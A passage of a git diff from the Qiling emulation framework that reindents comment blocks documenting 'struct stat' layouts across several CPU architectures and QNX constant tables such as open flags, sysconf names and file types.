+# unsigned int st_dev; uint32_t +# unsigned int st_pad0[3]; /* Reserved for st_dev expansion */ uint32_t * 3 +# unsigned long st_ino; uint64_t +# mode_t st_mode; uint32_t +# __u32 st_nlink; uint32_t +# uid_t st_uid; uint32_t +# gid_t st_gid; uint32_t +# unsigned int st_rdev; uint32_t +# unsigned int st_pad1[3]; /* Reserved for st_rdev expansion */ uint32_t * 3 +# long st_size; uint64_t +# /* +# * Actually this should be timestruc_t st_atime, st_mtime and st_ctime +# * but we don't have it under Linux. +# */ +# unsigned int st_atime; uint32_t +# unsigned int st_atime_nsec; uint32_t +# unsigned int st_mtime; uint32_t +# unsigned int st_mtime_nsec; uint32_t +# unsigned int st_ctime; uint32_t +# unsigned int st_ctime_nsec; uint32_t +# unsigned int st_blksize; uint32_t +# unsigned int st_pad2; uint32_t +# unsigned long st_blocks; uint64_t # }; class LinuxMips32Stat(ctypes.Structure): @@ -399,67 +399,67 @@ class LinuxMips32Stat64(ctypes.Structure): # # #ifdef __i386__ # struct stat { -# unsigned long st_dev; uint32_t -# unsigned long st_ino; uint32_t -# unsigned short st_mode; uint16_t -# unsigned short st_nlink; uint16_t -# unsigned short st_uid; uint16_t -# unsigned short st_gid; uint16_t -# unsigned long st_rdev; uint32_t -# unsigned long st_size; uint32_t -# unsigned long st_blksize; uint32_t -# unsigned long st_blocks; uint32_t -# unsigned long st_atime; uint32_t -# unsigned long st_atime_nsec; uint32_t -# unsigned long st_mtime; uint32_t -# unsigned long st_mtime_nsec; uint32_t -# unsigned long st_ctime; uint32_t -# unsigned long st_ctime_nsec; uint32_t -# unsigned long __unused4; uint32_t -# unsigned long __unused5; uint32_t +# unsigned long st_dev; uint32_t +# unsigned long st_ino; uint32_t +# unsigned short st_mode; uint16_t +# unsigned short st_nlink; uint16_t +# unsigned short st_uid; uint16_t +# unsigned short st_gid; uint16_t +# unsigned long st_rdev; uint32_t +# unsigned long st_size; uint32_t +# unsigned long st_blksize; uint32_t +# unsigned long st_blocks; uint32_t +# unsigned long st_atime; uint32_t +# unsigned long st_atime_nsec; uint32_t +# unsigned long st_mtime; uint32_t +# unsigned long st_mtime_nsec; uint32_t +# unsigned long st_ctime; uint32_t +# unsigned long st_ctime_nsec; uint32_t +# unsigned long __unused4; uint32_t +# unsigned long __unused5; uint32_t # }; # struct stat64 { -# unsigned long long st_dev; uint64_t -# unsigned char __pad0[4]; uint8_t * 4 -# unsigned long __st_ino; uint32_t -# unsigned int st_mode; uint32_t -# unsigned int st_nlink; uint32_t -# unsigned long st_uid; uint32_t -# unsigned long st_gid; uint32_t -# unsigned long long st_rdev; uint64_t -# unsigned char __pad3[4]; uint8_t * 4 -# long long st_size; int64_t -# unsigned long st_blksize; uint32_t -# /* Number 512-byte blocks allocated. */ -# unsigned long long st_blocks; uint64_t -# unsigned long st_atime; uint32_t -# unsigned long st_atime_nsec; uint32_t -# unsigned long st_mtime; uint32_t -# unsigned int st_mtime_nsec; uint32_t -# unsigned long st_ctime; uint32_t -# unsigned long st_ctime_nsec; uint32_t -# unsigned long long st_ino; uint64_t +# unsigned long long st_dev; uint64_t +# unsigned char __pad0[4]; uint8_t * 4 +# unsigned long __st_ino; uint32_t +# unsigned int st_mode; uint32_t +# unsigned int st_nlink; uint32_t +# unsigned long st_uid; uint32_t +# unsigned long st_gid; uint32_t +# unsigned long long st_rdev; uint64_t +# unsigned char __pad3[4]; uint8_t * 4 +# long long st_size; int64_t +# unsigned long st_blksize; uint32_t +# /* Number 512-byte blocks allocated. */ +# unsigned long long st_blocks; uint64_t +# unsigned long st_atime; uint32_t +# unsigned long st_atime_nsec; uint32_t +# unsigned long st_mtime; uint32_t +# unsigned int st_mtime_nsec; uint32_t +# unsigned long st_ctime; uint32_t +# unsigned long st_ctime_nsec; uint32_t +# unsigned long long st_ino; uint64_t # }; # #else /* __i386__ */ # struct stat { -# __kernel_ulong_t st_dev; uint64_t -# __kernel_ulong_t st_ino; uint64_t -# __kernel_ulong_t st_nlink; uint64_t -# unsigned int st_mode; uint32_t -# unsigned int st_uid; uint32_t -# unsigned int st_gid; uint32_t -# unsigned int __pad0; uint32_t -# __kernel_ulong_t st_rdev; uint64_t -# __kernel_long_t st_size; int64_t -# __kernel_long_t st_blksize; int64_t -# __kernel_long_t st_blocks; /* Number 512-byte blocks allocated. */ int64_t -# __kernel_ulong_t st_atime; uint64_t -# __kernel_ulong_t st_atime_nsec; uint64_t -# __kernel_ulong_t st_mtime; uint64_t -# __kernel_ulong_t st_mtime_nsec; uint64_t -# __kernel_ulong_t st_ctime; uint64_t -# __kernel_ulong_t st_ctime_nsec; uint64_t -# __kernel_long_t __unused[3]; int64_t +# __kernel_ulong_t st_dev; uint64_t +# __kernel_ulong_t st_ino; uint64_t +# __kernel_ulong_t st_nlink; uint64_t +# unsigned int st_mode; uint32_t +# unsigned int st_uid; uint32_t +# unsigned int st_gid; uint32_t +# unsigned int __pad0; uint32_t +# __kernel_ulong_t st_rdev; uint64_t +# __kernel_long_t st_size; int64_t +# __kernel_long_t st_blksize; int64_t +# __kernel_long_t st_blocks; /* Number 512-byte blocks allocated. */ int64_t +# __kernel_ulong_t st_atime; uint64_t +# __kernel_ulong_t st_atime_nsec; uint64_t +# __kernel_ulong_t st_mtime; uint64_t +# __kernel_ulong_t st_mtime_nsec; uint64_t +# __kernel_ulong_t st_ctime; uint64_t +# __kernel_ulong_t st_ctime_nsec; uint64_t +# __kernel_long_t __unused[3]; int64_t # }; # #endif @@ -540,82 +540,82 @@ class LinuxX86Stat64(ctypes.Structure): # # struct stat { # #if defined(__ARMEB__) -# unsigned short st_dev; uint16_t -# unsigned short __pad1; uint16_t +# unsigned short st_dev; uint16_t +# unsigned short __pad1; uint16_t # #else -# unsigned long st_dev; uint32_t +# unsigned long st_dev; uint32_t # #endif -# unsigned long st_ino; uint32_t -# unsigned short st_mode; uint16_t -# unsigned short st_nlink; uint16_t -# unsigned short st_uid; uint16_t -# unsigned short st_gid; uint16_t +# unsigned long st_ino; uint32_t +# unsigned short st_mode; uint16_t +# unsigned short st_nlink; uint16_t +# unsigned short st_uid; uint16_t +# unsigned short st_gid; uint16_t # #if defined(__ARMEB__) -# unsigned short st_rdev; uint16_t -# unsigned short __pad2; uint16_t +# unsigned short st_rdev; uint16_t +# unsigned short __pad2; uint16_t # #else -# unsigned long st_rdev; uint32_t +# unsigned long st_rdev; uint32_t # #endif -# unsigned long st_size; uint32_t -# unsigned long st_blksize; uint32_t -# unsigned long st_blocks; uint32_t -# unsigned long st_atime; uint32_t -# unsigned long st_atime_nsec; uint32_t -# unsigned long st_mtime; uint32_t -# unsigned long st_mtime_nsec; uint32_t -# unsigned long st_ctime; uint32_t -# unsigned long st_ctime_nsec; uint32_t -# unsigned long __unused4; uint32_t -# unsigned long __unused5; uint32_t +# unsigned long st_size; uint32_t +# unsigned long st_blksize; uint32_t +# unsigned long st_blocks; uint32_t +# unsigned long st_atime; uint32_t +# unsigned long st_atime_nsec; uint32_t +# unsigned long st_mtime; uint32_t +# unsigned long st_mtime_nsec; uint32_t +# unsigned long st_ctime; uint32_t +# unsigned long st_ctime_nsec; uint32_t +# unsigned long __unused4; uint32_t +# unsigned long __unused5; uint32_t # }; # struct stat64 { -# unsigned long long st_dev; uint64_t -# unsigned char __pad0[4]; uint8_t * 4 -# #define STAT64_HAS_BROKEN_ST_INO 1 -# unsigned long __st_ino; uint32_t -# unsigned int st_mode; uint32_t -# unsigned int st_nlink; uint32_t -# unsigned long st_uid; uint32_t -# unsigned long st_gid; uint32_t -# unsigned long long st_rdev; uint64_t -# unsigned char __pad3[4]; uint8_t * 4 -# long long st_size; int64_t -# unsigned long st_blksize; uint32_t -# unsigned long long st_blocks; /* Number 512-byte blocks allocated. */ uint64_t -# unsigned long st_atime; uint32_t -# unsigned long st_atime_nsec; uint32_t -# unsigned long st_mtime; uint32_t -# unsigned long st_mtime_nsec; uint32_t -# unsigned long st_ctime; uint32_t -# unsigned long st_ctime_nsec; uint32_t -# unsigned long long st_ino; uint64_t +# unsigned long long st_dev; uint64_t +# unsigned char __pad0[4]; uint8_t * 4 +# #define STAT64_HAS_BROKEN_ST_INO 1 +# unsigned long __st_ino; uint32_t +# unsigned int st_mode; uint32_t +# unsigned int st_nlink; uint32_t +# unsigned long st_uid; uint32_t +# unsigned long st_gid; uint32_t +# unsigned long long st_rdev; uint64_t +# unsigned char __pad3[4]; uint8_t * 4 +# long long st_size; int64_t +# unsigned long st_blksize; uint32_t +# unsigned long long st_blocks; /* Number 512-byte blocks allocated. */ uint64_t +# unsigned long st_atime; uint32_t +# unsigned long st_atime_nsec; uint32_t +# unsigned long st_mtime; uint32_t +# unsigned long st_mtime_nsec; uint32_t +# unsigned long st_ctime; uint32_t +# unsigned long st_ctime_nsec; uint32_t +# unsigned long long st_ino; uint64_t # }; # ARM64 stat is different! # https://elixir.bootlin.com/linux/v4.20.17/source/arch/arm64/include/asm/stat.h # The stat.h above includes https://elixir.bootlin.com/linux/v4.20.17/source/arch/arm64/include/uapi/asm/stat.h # struct stat { -# unsigned long st_dev; /* Device. */ uint64_t -# unsigned long st_ino; /* File serial number. */ uint64_t -# unsigned int st_mode; /* File mode. */ uint32_t -# unsigned int st_nlink; /* Link count. */ uint32_t -# unsigned int st_uid; /* User ID of the file's owner. */ uint32_t -# unsigned int st_gid; /* Group ID of the file's group. */ uint32_t -# unsigned long st_rdev; /* Device number, if device. */ uint64_t -# unsigned long __pad1; uint64_t -# long st_size; /* Size of file, in bytes. */ int64_t -# int st_blksize; /* Optimal block size for I/O. */ int32_t -# int __pad2; int32_t -# long st_blocks; /* Number 512-byte blocks allocated. */ int64_t -# long st_atime; /* Time of last access. */ int64_t -# unsigned long st_atime_nsec; uint64_t -# long st_mtime; /* Time of last modification. */ int64_t -# unsigned long st_mtime_nsec; uint64_t -# long st_ctime; /* Time of last status change. */ int64_t -# unsigned long st_ctime_nsec; uint64_t -# unsigned int __unused4; uint32_t -# unsigned int __unused5; uint32_t +# unsigned long st_dev; /* Device. */ uint64_t +# unsigned long st_ino; /* File serial number. */ uint64_t +# unsigned int st_mode; /* File mode. */ uint32_t +# unsigned int st_nlink; /* Link count. */ uint32_t +# unsigned int st_uid; /* User ID of the file's owner. */ uint32_t +# unsigned int st_gid; /* Group ID of the file's group. */ uint32_t +# unsigned long st_rdev; /* Device number, if device. */ uint64_t +# unsigned long __pad1; uint64_t +# long st_size; /* Size of file, in bytes. */ int64_t +# int st_blksize; /* Optimal block size for I/O. */ int32_t +# int __pad2; int32_t +# long st_blocks; /* Number 512-byte blocks allocated. */ int64_t +# long st_atime; /* Time of last access. */ int64_t +# unsigned long st_atime_nsec; uint64_t +# long st_mtime; /* Time of last modification. */ int64_t +# unsigned long st_mtime_nsec; uint64_t +# long st_ctime; /* Time of last status change. */ int64_t +# unsigned long st_ctime_nsec; uint64_t +# unsigned int __unused4; uint32_t +# unsigned int __unused5; uint32_t # }; class LinuxARMStat(ctypes.Structure): @@ -771,26 +771,26 @@ class LinuxARM64EBStat(ctypes.BigEndianStructure): # Srouce: https://github.com/riscv-collab/riscv-gnu-toolchain/blob/master/linux-headers/include/asm-generic/stat.h # struct stat { -# unsigned long st_dev; /* Device. */ -# unsigned long st_ino; /* File serial number. */ -# unsigned int st_mode; /* File mode. */ -# unsigned int st_nlink; /* Link count. */ -# unsigned int st_uid; /* User ID of the file's owner. */ -# unsigned int st_gid; /* Group ID of the file's group. */ -# unsigned long st_rdev; /* Device number, if device. */ -# unsigned long __pad1; -# long st_size; /* Size of file, in bytes. */ -# int st_blksize; /* Optimal block size for I/O. */ -# int __pad2; -# long st_blocks; /* Number 512-byte blocks allocated. */ -# long st_atime; /* Time of last access. */ -# unsigned long st_atime_nsec; -# long st_mtime; /* Time of last modification. */ -# unsigned long st_mtime_nsec; -# long st_ctime; /* Time of last status change. */ -# unsigned long st_ctime_nsec; -# unsigned int __unused4; -# unsigned int __unused5; +# unsigned long st_dev; /* Device. */ +# unsigned long st_ino; /* File serial number. */ +# unsigned int st_mode; /* File mode. */ +# unsigned int st_nlink; /* Link count. */ +# unsigned int st_uid; /* User ID of the file's owner. */ +# unsigned int st_gid; /* Group ID of the file's group. */ +# unsigned long st_rdev; /* Device number, if device. */ +# unsigned long __pad1; +# long st_size; /* Size of file, in bytes. */ +# int st_blksize; /* Optimal block size for I/O. */ +# int __pad2; +# long st_blocks; /* Number 512-byte blocks allocated. */ +# long st_atime; /* Time of last access. */ +# unsigned long st_atime_nsec; +# long st_mtime; /* Time of last modification. */ +# unsigned long st_mtime_nsec; +# long st_ctime; /* Time of last status change. */ +# unsigned long st_ctime_nsec; +# unsigned int __unused4; +# unsigned int __unused5; # }; class LinuxRISCVStat(ctypes.Structure): @@ -821,31 +821,31 @@ class LinuxRISCVStat(ctypes.Structure): # Srouce: https://elixir.bootlin.com/linux/latest/source/arch/powerpc/include/uapi/asm/stat.h#L30 # struct stat { -# unsigned long st_dev; -# ino_t st_ino; +# unsigned long st_dev; +# ino_t st_ino; # #ifdef __powerpc64__ -# unsigned long st_nlink; -# mode_t st_mode; +# unsigned long st_nlink; +# mode_t st_mode; # #else -# mode_t st_mode; -# unsigned short st_nlink; +# mode_t st_mode; +# unsigned short st_nlink; # #endif -# uid_t st_uid; -# gid_t st_gid; -# unsigned long st_rdev; -# long st_size; -# unsigned long st_blksize; -# unsigned long st_blocks; -# unsigned long st_atime; -# unsigned long st_atime_nsec; -# unsigned long st_mtime; -# unsigned long st_mtime_nsec; -# unsigned long st_ctime; -# unsigned long st_ctime_nsec; -# unsigned long __unused4; -# unsigned long __unused5; +# uid_t st_uid; +# gid_t st_gid; +# unsigned long st_rdev; +# long st_size; +# unsigned long st_blksize; +# unsigned long st_blocks; +# unsigned long st_atime; +# unsigned long st_atime_nsec; +# unsigned long st_mtime; +# unsigned long st_mtime_nsec; +# unsigned long st_ctime; +# unsigned long st_ctime_nsec; +# unsigned long __unused4; +# unsigned long __unused5; # #ifdef __powerpc64__ -# unsigned long __unused6; +# unsigned long __unused6; # #endif # }; @@ -875,25 +875,25 @@ class LinuxPPCStat(ctypes.BigEndianStructure): # Srouce: https://elixir.bootlin.com/linux/latest/source/arch/powerpc/include/uapi/asm/stat.h#L60 # struct stat64 { -# unsigned long long st_dev; /* Device. */ -# unsigned long long st_ino; /* File serial number. */ -# unsigned int st_mode; /* File mode. */ -# unsigned int st_nlink; /* Link count. */ -# unsigned int st_uid; /* User ID of the file's owner. */ -# unsigned int st_gid; /* Group ID of the file's group. */ -# unsigned long long st_rdev; /* Device number, if device. */ -# unsigned short __pad2; -# long long st_size; /* Size of file, in bytes. */ -# int st_blksize; /* Optimal block size for I/O. */ -# long long st_blocks; /* Number 512-byte blocks allocated. */ -# int st_atime; /* Time of last access. */ -# unsigned int st_atime_nsec; -# int st_mtime; /* Time of last modification. */ -# unsigned int st_mtime_nsec; -# int st_ctime; /* Time of last status change. */ -# unsigned int st_ctime_nsec; -# unsigned int __unused4; -# unsigned int __unused5; +# unsigned long long st_dev; /* Device. */ +# unsigned long long st_ino; /* File serial number. */ +# unsigned int st_mode; /* File mode. */ +# unsigned int st_nlink; /* Link count. */ +# unsigned int st_uid; /* User ID of the file's owner. */ +# unsigned int st_gid; /* Group ID of the file's group. */ +# unsigned long long st_rdev; /* Device number, if device. */ +# unsigned short __pad2; +# long long st_size; /* Size of file, in bytes. */ +# int st_blksize; /* Optimal block size for I/O. */ +# long long st_blocks; /* Number 512-byte blocks allocated. */ +# int st_atime; /* Time of last access. */ +# unsigned int st_atime_nsec; +# int st_mtime; /* Time of last modification. */ +# unsigned int st_mtime_nsec; +# int st_ctime; /* Time of last status change. */ +# unsigned int st_ctime_nsec; +# unsigned int __unused4; +# unsigned int __unused5; # }; class LinuxPPCStat64(ctypes.BigEndianStructure): @@ -925,46 +925,46 @@ class LinuxPPCStat64(ctypes.BigEndianStructure): # # struct stat { # #if _FILE_OFFSET_BITS - 0 == 64 -# ino_t st_ino; /* File serial number. */ -# off_t st_size; +# ino_t st_ino; /* File serial number. */ +# off_t st_size; # #elif !defined(_FILE_OFFSET_BITS) || _FILE_OFFSET_BITS == 32 # #if defined(__LITTLEENDIAN__) -# ino_t st_ino; /* File serial number. */ -# ino_t st_ino_hi; -# off_t st_size; -# off_t st_size_hi; +# ino_t st_ino; /* File serial number. */ +# ino_t st_ino_hi; +# off_t st_size; +# off_t st_size_hi; # #elif defined(__BIGENDIAN__) -# ino_t st_ino_hi; -# ino_t st_ino; /* File serial number. */ -# off_t st_size_hi; -# off_t st_size; +# ino_t st_ino_hi; +# ino_t st_ino; /* File serial number. */ +# off_t st_size_hi; +# off_t st_size; # #else # #error endian not configured for system # #endif # #else # #error _FILE_OFFSET_BITS value is unsupported # #endif -# _CSTD dev_t st_dev; /* ID of device containing file. */ -# _CSTD dev_t st_rdev; /* Device ID, for inode that is device */ -# uid_t st_uid; -# gid_t st_gid; -# _CSTD time_t st_mtime; /* Time of last data modification */ -# _CSTD time_t st_atime; /* Time last accessed */ -# _CSTD time_t st_ctime; /* Time of last status change */ -# _CSTD mode_t st_mode; /* see below */ -# nlink_t st_nlink; -# blksize_t st_blocksize; /* Size of a block used by st_nblocks */ -# _Int32t st_nblocks; /* Number of blocks st_blocksize blocks */ -# blksize_t st_blksize; /* Prefered I/O block size for object */ +# _CSTD dev_t st_dev; /* ID of device containing file. */ +# _CSTD dev_t st_rdev; /* Device ID, for inode that is device */ +# uid_t st_uid; +# gid_t st_gid; +# _CSTD time_t st_mtime; /* Time of last data modification */ +# _CSTD time_t st_atime; /* Time last accessed */ +# _CSTD time_t st_ctime; /* Time of last status change */ +# _CSTD mode_t st_mode; /* see below */ +# nlink_t st_nlink; +# blksize_t st_blocksize; /* Size of a block used by st_nblocks */ +# _Int32t st_nblocks; /* Number of blocks st_blocksize blocks */ +# blksize_t st_blksize; /* Prefered I/O block size for object */ # #if _FILE_OFFSET_BITS - 0 == 64 -# blkcnt_t st_blocks; /* Number of 512 byte blocks */ +# blkcnt_t st_blocks; /* Number of 512 byte blocks */ # #elif !defined(_FILE_OFFSET_BITS) || _FILE_OFFSET_BITS == 32 # #if defined(__LITTLEENDIAN__) -# blkcnt_t st_blocks; -# blkcnt_t st_blocks_hi; +# blkcnt_t st_blocks; +# blkcnt_t st_blocks_hi; # #elif defined(__BIGENDIAN__) -# blkcnt_t st_blocks_hi; -# blkcnt_t st_blocks; +# blkcnt_t st_blocks_hi; +# blkcnt_t st_blocks; # #else # #error endian not configured for system # #endif @@ -974,21 +974,21 @@ class LinuxPPCStat64(ctypes.BigEndianStructure): # }; # struct stat64 { -# ino64_t st_ino; /* File serial number. */ -# off64_t st_size; -# _CSTD dev_t st_dev; /* ID of device containing file. */ -# _CSTD dev_t st_rdev; /* Device ID, for inode that is device */ -# uid_t st_uid; -# gid_t st_gid; -# _CSTD time_t st_mtime; /* Time of last data modification */ -# _CSTD time_t st_atime; /* Time last accessed */ -# _CSTD time_t st_ctime; /* Time of last status change */ -# _CSTD mode_t st_mode; /* see below */ -# nlink_t st_nlink; -# blksize_t st_blocksize; /* Size of a block used by st_nblocks */ -# _Int32t st_nblocks; /* Number of blocks st_blocksize blocks */ -# blksize_t st_blksize; /* Prefered I/O block size for object */ -# blkcnt64_t st_blocks; /* Number of 512 byte blocks */ +# ino64_t st_ino; /* File serial number. */ +# off64_t st_size; +# _CSTD dev_t st_dev; /* ID of device containing file. */ +# _CSTD dev_t st_rdev; /* Device ID, for inode that is device */ +# uid_t st_uid; +# gid_t st_gid; +# _CSTD time_t st_mtime; /* Time of last data modification */ +# _CSTD time_t st_atime; /* Time last accessed */ +# _CSTD time_t st_ctime; /* Time of last status change */ +# _CSTD mode_t st_mode; /* see below */ +# nlink_t st_nlink; +# blksize_t st_blocksize; /* Size of a block used by st_nblocks */ +# _Int32t st_nblocks; /* Number of blocks st_blocksize blocks */ +# blksize_t st_blksize; /* Prefered I/O block size for object */ +# blkcnt64_t st_blocks; /* Number of 512 byte blocks */ # }; class QNXARMStat(ctypes.Structure): diff --git a/qiling/os/qnx/types.py b/qiling/os/qnx/types.py index bb8a5980d..af0c56c01 100644 --- a/qiling/os/qnx/types.py +++ b/qiling/os/qnx/types.py @@ -5,232 +5,232 @@ # lib/c/public/confname.h sysconf_names = { - 1 : '_CS_PATH', # default path to find system utilities - 2 : '_CS_HOSTNAME', # Name of this node within the communications network - 3 : '_CS_RELEASE', # Current release level of this implementation - 4 : '_CS_VERSION', # Current version of this release - 5 : '_CS_MACHINE', # Name of the hardware type on which the system is running - 6 : '__CS_ARCHITECTURE', # Name of the instructions set architechure - 7 : '_CS_HW_SERIAL', # A serial number assiciated with the hardware - 8 : '_CS_HW_PROVIDER', # The name of the hardware manufacturers - 9 : '_CS_SRPC_DOMAIN', # The secure RPC domain - 11 : '_CS_SYSNAME', # Name of this implementation of the operating system - 200 : '_CS_LIBPATH', # default path for runtime to find standard shared objects - 201 : '_CS_DOMAIN', # Domain of this node within the communications network - 202 : '_CS_RESOLVE', # In memory /etc/resolve.conf - 203 : '_CS_TIMEZONE', # timezone string (TZ style) - 204 : '_CS_LOCALE' # locale string + 1 : '_CS_PATH', # default path to find system utilities + 2 : '_CS_HOSTNAME', # Name of this node within the communications network + 3 : '_CS_RELEASE', # Current release level of this implementation + 4 : '_CS_VERSION', # Current version of this release + 5 : '_CS_MACHINE', # Name of the hardware type on which the system is running + 6 : '__CS_ARCHITECTURE', # Name of the instructions set architechure + 7 : '_CS_HW_SERIAL', # A serial number assiciated with the hardware + 8 : '_CS_HW_PROVIDER', # The name of the hardware manufacturers + 9 : '_CS_SRPC_DOMAIN', # The secure RPC domain + 11 : '_CS_SYSNAME', # Name of this implementation of the operating system + 200 : '_CS_LIBPATH', # default path for runtime to find standard shared objects + 201 : '_CS_DOMAIN', # Domain of this node within the communications network + 202 : '_CS_RESOLVE', # In memory /etc/resolve.conf + 203 : '_CS_TIMEZONE', # timezone string (TZ style) + 204 : '_CS_LOCALE' # locale string } # lib/c/public/confname.h sysconf_consts = { - 1 : '_SC_ARG_MAX', - 2 : '_SC_CHILD_MAX', - 3 : '_SC_CLK_TCK', - 4 : '_SC_NGROUPS_MAX', - 5 : '_SC_OPEN_MAX', - 6 : '_SC_JOB_CONTROL', - 7 : '_SC_SAVED_IDS', - 8 : '_SC_VERSION', - 9 : '_SC_PASS_MAX', - 10 : '_SC_LOGNAME_MAX', - 11 : '_SC_PAGESIZE', - 12 : '_SC_XOPEN_VERSION', - 13 : '_SC_STREAM_MAX', - 14 : '_SC_TZNAME_MAX' - # TODO: add 15 - 173 + 1 : '_SC_ARG_MAX', + 2 : '_SC_CHILD_MAX', + 3 : '_SC_CLK_TCK', + 4 : '_SC_NGROUPS_MAX', + 5 : '_SC_OPEN_MAX', + 6 : '_SC_JOB_CONTROL', + 7 : '_SC_SAVED_IDS', + 8 : '_SC_VERSION', + 9 : '_SC_PASS_MAX', + 10 : '_SC_LOGNAME_MAX', + 11 : '_SC_PAGESIZE', + 12 : '_SC_XOPEN_VERSION', + 13 : '_SC_STREAM_MAX', + 14 : '_SC_TZNAME_MAX' + # TODO: add 15 - 173 } # lib/c/public/confname.h pathconf_names = { - 1 : '_PC_LINK_MAX', - 2 : '_PC_MAX_CANON', - 3 : '_PC_MAX_INPUT', - 4 : '_PC_NAME_MAX', - 5 : '_PC_PATH_MAX', - 6 : '_PC_PIPE_BUF', - 7 : '_PC_NO_TRUNC', - 8 : '_PC_VDISABLE', - 9 : '_PC_CHOWN_RESTRICTED' + 1 : '_PC_LINK_MAX', + 2 : '_PC_MAX_CANON', + 3 : '_PC_MAX_INPUT', + 4 : '_PC_NAME_MAX', + 5 : '_PC_PATH_MAX', + 6 : '_PC_PIPE_BUF', + 7 : '_PC_NO_TRUNC', + 8 : '_PC_VDISABLE', + 9 : '_PC_CHOWN_RESTRICTED' } # lib/c/public/fcntl.h file_open_flags = { - 'O_RDONLY' : 0o0000000, # read-only - 'O_WRONLY' : 0o0000001, # write-only - 'O_RDWR' : 0o0000002, # read-write - 'O_APPEND' : 0o0000010, # append - 'O_DSYNC' : 0o0000020, # data integrity sync - 'O_SYNC' : 0o0000040, # file integrity sync - 'O_RSYNC' : 0o0000100, # data integrity sync - 'O_NONBLOCK' : 0o0000200, # non-blocking - 'O_CREAT' : 0o0000400, # file create - 'O_TRUNC' : 0o0001000, # truncation - 'O_EXCL' : 0o0002000, # exclusive - 'O_NOCTTY' : 0o0004000, # no controlling terminal - 'O_CLOEXEC' : 0o0020000, # close-on-exec - 'O_REALIDS' : 0o0040000, # use real uid/gid instead of effectice uid/gid - 'O_LARGEFILE' : 0o0100000, # off_t can be 64 bit - 'O_ASYNC' : 0o0200000 # async + 'O_RDONLY' : 0o0000000, # read-only + 'O_WRONLY' : 0o0000001, # write-only + 'O_RDWR' : 0o0000002, # read-write + 'O_APPEND' : 0o0000010, # append + 'O_DSYNC' : 0o0000020, # data integrity sync + 'O_SYNC' : 0o0000040, # file integrity sync + 'O_RSYNC' : 0o0000100, # data integrity sync + 'O_NONBLOCK' : 0o0000200, # non-blocking + 'O_CREAT' : 0o0000400, # file create + 'O_TRUNC' : 0o0001000, # truncation + 'O_EXCL' : 0o0002000, # exclusive + 'O_NOCTTY' : 0o0004000, # no controlling terminal + 'O_CLOEXEC' : 0o0020000, # close-on-exec + 'O_REALIDS' : 0o0040000, # use real uid/gid instead of effectice uid/gid + 'O_LARGEFILE' : 0o0100000, # off_t can be 64 bit + 'O_ASYNC' : 0o0200000 # async } # lib/c/public/share.h file_sharing_modes = { - 0x00 : 'SH_COMPAT', # compatibility - 0x10 : 'SH_DENYRW', # deny read/write - 0x20 : 'SH_DENYWR', # deny write - 0x30 : 'SH_DENYRD', # deny read - 0x40 : 'SH_DENYNO' # no deny + 0x00 : 'SH_COMPAT', # compatibility + 0x10 : 'SH_DENYRW', # deny read/write + 0x20 : 'SH_DENYWR', # deny write + 0x30 : 'SH_DENYRD', # deny read + 0x40 : 'SH_DENYNO' # no deny } # lib/c/public/time.h clock_types = { - 0 : "CLOCK_REALTIME", - 1 : "CLOCK_SOFTTIME", - 2 : "CLOCK_MONOTONIC", - 3 : "CLOCK_PROCESS_CPUTIME_ID", - 4 : "CLOCK_THREAD_CPUTIME_ID" + 0 : "CLOCK_REALTIME", + 1 : "CLOCK_SOFTTIME", + 2 : "CLOCK_MONOTONIC", + 3 : "CLOCK_PROCESS_CPUTIME_ID", + 4 : "CLOCK_THREAD_CPUTIME_ID" } # lib/c/public/unistd.h lseek_whence = { - 0 : "SEEK_SET", # relative to start of file - 1 : "SEEK_CUR", # relative to current position - 2 : "SEEK_END" # relative to end of file + 0 : "SEEK_SET", # relative to start of file + 1 : "SEEK_CUR", # relative to current position + 2 : "SEEK_END" # relative to end of file } # lib/c/public/sys/conf.h sysconf_conditions = { - 1 << 20 : "_CONF_STR", # checking for string - 2 << 20 : "_CONF_NUM" # checking for number + 1 << 20 : "_CONF_STR", # checking for string + 2 << 20 : "_CONF_NUM" # checking for number } # lib/c/public/sys/ftype.h file_types = { - 0 : "_FTYPE_ANY", - 1 : "_FTYPE_FILE", - 2 : "_FTYPE_LINK", - 3 : "_FTYPE_SYMLINK", - 4 : "_FTYPE_PIPE", - 5 : "_FTYPE_SHMEM", - 6 : "_FTYPE_MQUEUE", - 7 : "_FTYPE_SOCKET", - 8 : "_FTYPE_SEM", - 9 : "_FTYPE_PHOTON", - 10 : "_FTYPE_DUMPER", - 11 : "_FTYPE_MOUNT", - 12 : "_FTYPE_NAME", - 13 : "_FTYPE_TYMEM" + 0 : "_FTYPE_ANY", + 1 : "_FTYPE_FILE", + 2 : "_FTYPE_LINK", + 3 : "_FTYPE_SYMLINK", + 4 : "_FTYPE_PIPE", + 5 : "_FTYPE_SHMEM", + 6 : "_FTYPE_MQUEUE", + 7 : "_FTYPE_SOCKET", + 8 : "_FTYPE_SEM", + 9 : "_FTYPE_PHOTON", + 10 : "_FTYPE_DUMPER", + 11 : "_FTYPE_MOUNT", + 12 : "_FTYPE_NAME", + 13 : "_FTYPE_TYMEM" } # lib/c/public/sys/iomsg.h io_connect_subtypes = { - 0 : "_IO_CONNECT_COMBINE", # more than two iov_t - 1 : "_IO_CONNECT_COMBINE_CLOSE", # _IO_CONNECT_COMBINE with close-on-exec - 2 : "_IO_CONNECT_OPEN", - 3 : "_IO_CONNECT_UNLINK", - 4 : "_IO_CONNECT_RENAME", - 5 : "_IO_CONNECT_MKNOD", - 6 : "_IO_CONNECT_READLINK", - 7 : "_IO_CONNECT_LINK", - 8 : "_IO_CONNECT_RSVD_UNBLOCK", - 9 : "_IO_CONNECT_MOUNT" + 0 : "_IO_CONNECT_COMBINE", # more than two iov_t + 1 : "_IO_CONNECT_COMBINE_CLOSE", # _IO_CONNECT_COMBINE with close-on-exec + 2 : "_IO_CONNECT_OPEN", + 3 : "_IO_CONNECT_UNLINK", + 4 : "_IO_CONNECT_RENAME", + 5 : "_IO_CONNECT_MKNOD", + 6 : "_IO_CONNECT_READLINK", + 7 : "_IO_CONNECT_LINK", + 8 : "_IO_CONNECT_RSVD_UNBLOCK", + 9 : "_IO_CONNECT_MOUNT" } # lib/c/public/sys/iomsg.h io_connect_ioflag = { - '_IO_FLAG_RD' : 0x01, - '_IO_FLAG_WR' : 0x02 + '_IO_FLAG_RD' : 0x01, + '_IO_FLAG_WR' : 0x02 } # lib/c/public/sys/iomsg.h io_connect_eflag = { - '_IO_CONNECT_EFLAG_DIR' : 0x01, # path is a directory - '_IO_CONNECT_EFLAG_DOT' : 0x02, # last component of path is . or .. - '_IO_CONNECT_EFLAG_DOTDOT' : 0x04 # last component is .. + '_IO_CONNECT_EFLAG_DIR' : 0x01, # path is 